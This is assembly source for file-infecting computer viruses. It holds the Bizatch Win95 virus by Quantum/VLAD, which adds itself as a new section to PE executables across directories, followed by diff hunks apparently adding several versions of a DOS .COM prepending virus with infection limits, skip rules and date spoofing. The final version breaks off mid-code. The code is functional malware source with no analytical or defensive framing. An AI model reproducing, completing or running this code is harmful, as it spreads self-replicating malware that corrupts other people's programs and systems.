TextOut equ <TextOutA>
.data
copyright db 'VLAD inc - 1995, peace through superior virus power..',0
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db 'Bizatch by Quantum / VLAD activated'
zero db 0
szAlternate db 'more than once',0
szClassName db 'ASMCLASS32',0
szPaint db 'Left Button pressed:'
s_num db '00000000h times.',0
MSG_L EQU ($-offset szPaint)-1
.code
;-----------------------------------------------------------------------------
;
; This is where control is usually received from the loader.
;
start:
push L 0
call GetModuleHandle ; get hmod (in eax)
mov [hInst], eax ; hInstance is same as HMODULE
; in the Win32 world
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
mov [zero], ' ' ; space to modify title string
reg_class:
;
; initialize the WndClass structure
;
mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
mov [wc.clsLpfnWndProc], offset WndProc
mov [wc.clsCbClsExtra], 0
mov [wc.clsCbWndExtra], 0
mov eax, [hInst]
mov [wc.clsHInstance], eax
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
mov [wc.clsHbrBackground], COLOR_WINDOW + 1
mov dword ptr [wc.clsLpszMenuName], 0
mov dword ptr [wc.clsLpszClassName], offset szClassName
push offset wc
call RegisterClass
push L 0 ; lpParam
push [hInst] ; hInstance
push L 0 ; menu
push L 0 ; parent hwnd
push L CW_USEDEFAULT ; height
push L CW_USEDEFAULT ; width
push L CW_USEDEFAULT ; y
push L CW_USEDEFAULT ; x
push L WS_OVERLAPPEDWINDOW ; Style
push offset szTitleName ; Title string
push offset szClassName ; Class name
push L 0 ; extra style
call CreateWindowEx
mov [newhwnd], eax
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
push [newhwnd]
call UpdateWindow
msg_loop:
push L 0
push L 0
push L 0
push offset msg
call GetMessage
cmp ax, 0
je end_loop
push offset msg
call TranslateMessage
push offset msg
call DispatchMessage
jmp msg_loop
end_loop:
push [msg.msWPARAM]
call ExitProcess
; we never get to here
;-----------------------------------------------------------------------------
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD
;
; WARNING: Win32 requires that EBX, EDI, and ESI be preserved! We comply
; with this by listing those regs after the 'uses' statement in the 'proc'
; line. This allows the Assembler to save them for us.
;
LOCAL theDC:DWORD
cmp [wmsg], WM_DESTROY
je wmdestroy
cmp [wmsg], WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg], WM_SIZE
je wmsize
cmp [wmsg], WM_CREATE
je wmcreate
cmp [wmsg], WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg], WM_PAINT
je wmpaint
cmp [wmsg], WM_GETMINMAXINFO
je wmgetminmaxinfo
jmp defwndproc
wmpaint:
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
mov eax, [mbx_count]
mov edi, offset s_num
call HexWrite32
push L MSG_L ; length of string
push offset szPaint ; string
push L 5 ; y
push L 5 ; x
push [theDC] ; the DC
call TextOut
push offset lppaint
push [hwnd]
call EndPaint
mov eax, 0
jmp finish
wmcreate:
mov eax, 0
jmp finish
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
jmp finish
wmdestroy:
push L 0
call PostQuitMessage
mov eax, 0
jmp finish
wmlbuttondown:
inc [mbx_count]
push L 0
push L 0
push [hwnd]
call InvalidateRect ; repaint window
mov eax, 0
jmp finish
wmrbuttondown:
push L 0
call MessageBeep
jmp finish
wmsize:
mov eax, 0
jmp finish
wmgetminmaxinfo:
mov ebx, [lparam] ; ptr to minmaxinfo struct
mov [(MINMAXINFO ptr ebx).mintrackposition_x] , 350
mov [(MINMAXINFO ptr ebx).mintrackposition_y] , 60
mov eax, 0
jmp finish
finish:
ret
WndProc endp
;-----------------------------------------------------------------------------
HexWrite8 proc
;
; AL has two hex digits that will be written to ES:EDI in ASCII form
;
mov ah, al
and al, 0fh
shr ah, 4
; ah has MSD
; al has LSD
or ax, 3030h
xchg al, ah
cmp ah, 39h
ja @@4
@@1:
cmp al, 39h
ja @@3
@@2:
stosw
ret
@@3:
sub al, 30h
add al, 'A' - 10
jmp @@2
@@4:
sub ah, 30h
add ah, 'A' - 10
jmp @@1
HexWrite8 endp
;-----------------------------------------------------------------------------
HexWrite16 proc
;
; AX has four hex digits in it that will be written to ES:EDI
;
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
;-----------------------------------------------------------------------------
HexWrite32 proc
;
; EAX has eight hex digits in it that will be written to ES:EDI
;
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
;-----------------------------------------------------------------------------
public WndProc
ends
;-----------------------------------------------------------------------------
; Here is where the virus code begins.. this code is moved from exe to
; exe.. the above is just a simple custom host.
vladseg segment para public 'vlad'
assume cs:vladseg
vstart:
call recalc
recalc:
pop ebp
mov eax,ebp ; calculate the address to the host
db 2dh
subme dd 30000h + (recalc - vstart)
push eax ; save it for l8r
sub ebp,offset recalc ; calculate the delta offset
mov eax,[ebp + offset kern2] ; determine where the kernel is at
cmp dword ptr [eax],5350fc9ch
jnz notkern2
mov eax,[ebp + offset kern2] ; here
jmp movit
notkern2:
mov eax,[ebp + offset kern1] ; or here
cmp dword ptr [eax],5350fc9ch
jnz nopayload
mov eax,[ebp + offset kern1]
movit:
mov [ebp + offset kern],eax ; save it for l8r use
cld ; important
lea eax,[ebp + offset orgdir]
push eax
push 255
call GetCurDir ; save the current directory
mov byte ptr [ebp + offset countinfect],0 ; count the number we are infecting
infectdir:
lea eax,[ebp + offset win32_data_thang]
push eax
lea eax,[ebp + offset fname]
push eax
call FindFile ; search for first exe
mov dword ptr [ebp + offset searchhandle],eax ; save the search handle
cmp eax,-1
jz foundnothing
gofile:
push 0
push dword ptr [ebp + offset fileattr] ; FILE_ATTRIBUTE_NORMAL
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
lea eax,[ebp + offset fullname]
push eax
call CreateFile ; open file in read/write mode
mov dword ptr [ebp + offset ahand],eax ; save the handle
cmp eax,-1
jz findnextone
; goto the dword that stores the location of the pe header
push 0
push 0
push 3ch
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in the location of the pe header
push 0
lea eax,[ebp + offset bytesread]
push eax
push 4
lea eax,[ebp + offset peheaderoffset]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; goto the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in enuff to calculate the full size of the pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push 58h
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; make sure it is a pe header and is not already infected
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],0F00Dh
jz notape
cmp dword ptr [ebp + offset 52],4000000h
jz notape
; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; read in the whole pe header and object table
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
; set the infection flag
mov word ptr [ebp + offset peheader + 4ch],0F00Dh
; locate offset of object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax
; calculate the offset of the last (null) object in the object table
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
inc word ptr [ebp + offset numObj] ; inc the number of objects
lea edi,[ebp + offset newobject]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset RVA],eax
; calculate the physical size of the new object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,vend-vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax
; calculate the virtual size of the new object
mov ecx,dword ptr [ebp + offset objalign]
mov eax,vend - vstart + 1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp + offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicaloffset],eax
; update the image size (the size in memory) of the file
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax
; copy the new object into the object table
mov ecx,10
rep movsd
; calculate the entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]
mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax
sub eax,ebx
add eax,5
; Set the value needed to return to the host
mov dword ptr [ebp + offset subme],eax
; go back to the start of the pe header
push 0
push 0
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; write the pe header and object table to the file
push 0
lea eax,[ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax,[ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
; increase the number of files infected
inc byte ptr [ebp + offset countinfect]
; move to the physical offset of the new object
push 0
push 0
push dword ptr [ebp + offset physicaloffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; write the virus code to the new object
push 0
lea eax,[ebp + offset bytesread]
push eax
push vend-vstart
lea eax,[ebp + offset vstart]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
notape:
; close the file
push dword ptr [ebp + offset ahand]
call CloseFile
findnextone:
; have we infected 3 ?
cmp byte ptr [ebp + offset countinfect],3
jz outty
; no.. find the next file
lea eax,[ebp + offset win32_data_thang]
push eax
push dword ptr [ebp + offset searchhandle]
call FindNext
; is there a next ? yes.. infect it
or eax,eax
jnz gofile
foundnothing:
; no .. change dirs
xor eax,eax
lea edi,[ebp + offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp + offset tempdir1]
mov ecx,256/4
rep stosd
; get the current dir
lea esi,[ebp + offset tempdir]
push esi
push 255
call GetCurDir
; change into ".."
lea eax,[ebp + offset dotdot]
push eax
call SetCurDir
; get the current dir
lea edi,[ebp + offset tempdir1]
push edi
push 255
call GetCurDir
; if the dirs are the same then the ".." failed
mov ecx,256/4
rep cmpsd
jnz infectdir
outty:
; set the current dir back to the original
lea eax,[ebp + offset orgdir]
push eax
call SetCurDir
; get the current date and time and lots of other shit that no-one ever uses
lea eax,[ebp + offset systimestruct]
push eax
call GetTime
; if it's the 31st then do the payload
cmp word ptr [ebp + offset day],31
jnz nopayload
; display a message box to the user
push 1000h ; MB_SYSTEMMODAL
lea eax,[ebp + offset boxtitle]
push eax
lea eax,[ebp + offset boxmsg]
push eax
push 0
call MsgBox
nopayload:
; jump back to the host
pop eax
jmp eax
kern dd 0BFF93B95h ; the value of the kernel will be shoved in here
kern1 dd 0BFF93B95h ; the first possible value of the kernel
kern2 dd 0BFF93C1Dh ; the second possible value of the kernel
GetCurDir:
push 0BFF77744h ; push this value to get current dir
jmp [ebp + offset kern]
SetCurDir:
push 0BFF7771Dh ; push this value to set current dir
jmp [ebp + offset kern]
GetTime:
cmp [ebp + offset kern],0BFF93B95h
jnz gettimekern2
push 0BFF9D0B6h ; push this value if we're using kernel1 to get time/date
jmp [ebp + offset kern]
gettimekern2:
push 0BFF9D14eh ; push this value if we're using kernel2 to get time/date
jmp [ebp + offset kern]
MsgBox:
push 0BFF638D9h ; push this value to display a message box
jmp [ebp + offset kern]
FindFile:
push 0BFF77893h ; push this value to find a file
jmp [ebp + offset kern]
FindNext:
push 0BFF778CBh ; push this value to find the next file
jmp [ebp + offset kern]
CreateFile:
push 0BFF77817h ; push this value to create/open a file (create handle)
jmp [ebp + offset kern]
SetFilePointer:
push 0BFF76FA0h ; push this value to set the file pointer of a file
jmp [ebp + offset kern]
ReadFile:
push 0BFF75806h ; push this value to read a file
jmp [ebp + offset kern]
WriteFile:
push 0BFF7580Dh ; push this value to write to a file
jmp [ebp + offset kern]
CloseFile:
push 0BFF7BC72h ; push this value to close a file
jmp [ebp + offset kern]
countinfect db 0 ; counts the infections
win32_data_thang: ; used to search for files
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
boxtitle db "Bizatch by Quantum / VLAD",0
boxmsg db "The taste of fame just got tastier!",0dh
db "VLAD Australia does it again with the world's first Win95 Virus"
db 0dh,0dh
db 9,"From the old school to the new.. ",0dh,0dh
db 9,"Metabolis",0dh
db 9,"Qark",0dh
db 9,"Darkman",0dh
db 9,"Quantum",0dh
db 9,"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db " written by Quantum of VLAD",0
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
dotdot db "..",0
systimestruct: ; used to get the time/date
dw 0,0,0
day dw 0
dw 0,0,0,0
searchhandle dd 0 ; used in searches for files
fname db '*.exe',0 ; spec to search for
ahand dd 0 ; handle of the file we open
peheaderoffset dd 0 ; stores the offset of the peheader in the file
ObjectTableoffset dd 0 ; stores the offset of the object table in memory
bytesread dd 0 ; number of bytes we just read/wrote from/to the file
newobject: ; the new object
oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
peheader: ; essential data for infecting the pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
vend:
; space to read in the rest of the pe header and object table
; not actually written to the file but allocated by the object in post beta gen
db 1000h dup (0)
ends
end vstart
Binary file not shown.
@@ -0,0 +1,127 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; ----- alma mater
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,134 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
ja fin
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,143 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
ja fin
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
mov al,'M'
mov di,dx
mov cx,ds:[0fch]
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,147 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
mov ax,'OC' ; "CO"
sub ax,ds:[009eh]
je fin ; if file name CO*.com then skip
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
ja fin
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
mov al,'M'
mov di,dx
mov cx,ds:[0fch]
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,153 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
mov al,3 ; inf. only 3 file
mov count,al
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
mov ax,'OC' ; "CO"
sub ax,ds:[009eh]
je fin ; if file name CO*.com then skip
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
ja fin
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
mov al,'M'
mov di,dx
mov cx,ds:[0fch]
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
dec count
jz done
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,183 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
mov al,3 ; inf. only 3 file
mov count,al
mov ah,2ah
int 21h
mov ds:[0f2h],dx ;
mov ds:[0f4h],cx ; save system date
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
mov ax,'OC' ; "CO"
sub ax,ds:[009eh]
jne cont0 ; if file name CO*.com then skip
jmp fin
cont0:
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
jna cont2
jmp fin
cont2:
mov cx,ds:[98h]
and cx,001fh
mov dl,cl
mov ax,ds:[98h]
and ax,01e0h
mov cl,5
sar ax,cl
mov dh,al
mov ax,ds:[98h]
and ax,0fe00h
mov cl,9
sar ax,cl
mov cx,ax
add cx,1980
mov ah,2bh
int 21h ; set system time
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
mov al,'M'
mov di,dx
mov cx,ds:[0fch]
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
dec count
jz done
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov dx,ds:[0f2h]
mov cx,ds:[0f4h]
mov ah,2bh
int 21h
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
@@ -0,0 +1,189 @@
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
mov al,3 ; inf. only 3 file
mov count,al
mov ah,2ah
int 21h
mov ds:[0f2h],dx ;
mov ds:[0f4h],cx ; save system date
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
